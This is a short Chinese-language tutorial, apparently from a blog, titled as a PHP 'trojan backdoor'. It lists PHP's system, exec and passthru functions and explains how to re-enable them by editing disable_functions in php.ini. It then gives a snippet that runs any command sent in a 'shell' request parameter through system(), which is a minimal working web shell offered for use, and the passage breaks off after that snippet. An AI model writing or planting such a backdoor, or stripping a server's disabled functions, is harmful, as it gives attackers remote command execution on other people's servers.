php执行cmd/shell命令 木马小后门

PHP执行shell命令，可以使用下面几个函数： 

string system ( string $command [,int &$return_var ] )

string exec ( string $command [,array &$output [,int &$return_var ]] )

void passthru ( string $command [,int &$return_var ] )

　注意：

这三个函数在默认的情况下，都是被禁止了的

如果要使用这几个函数，

就要先修改PHP的配置文件PHP.ini

查找关键字disable_functions，将这一项中的这几个函数名删除掉

然后注意重启apache。

 

　　首先看一下system()和passthru()两个功能类似，可以互换：

<?PHP
    #获取网页传递参数
    $shell = $_REQUEST['shell'];
    echo "<pre>";
    system($shell,$status);
    echo "</pre>";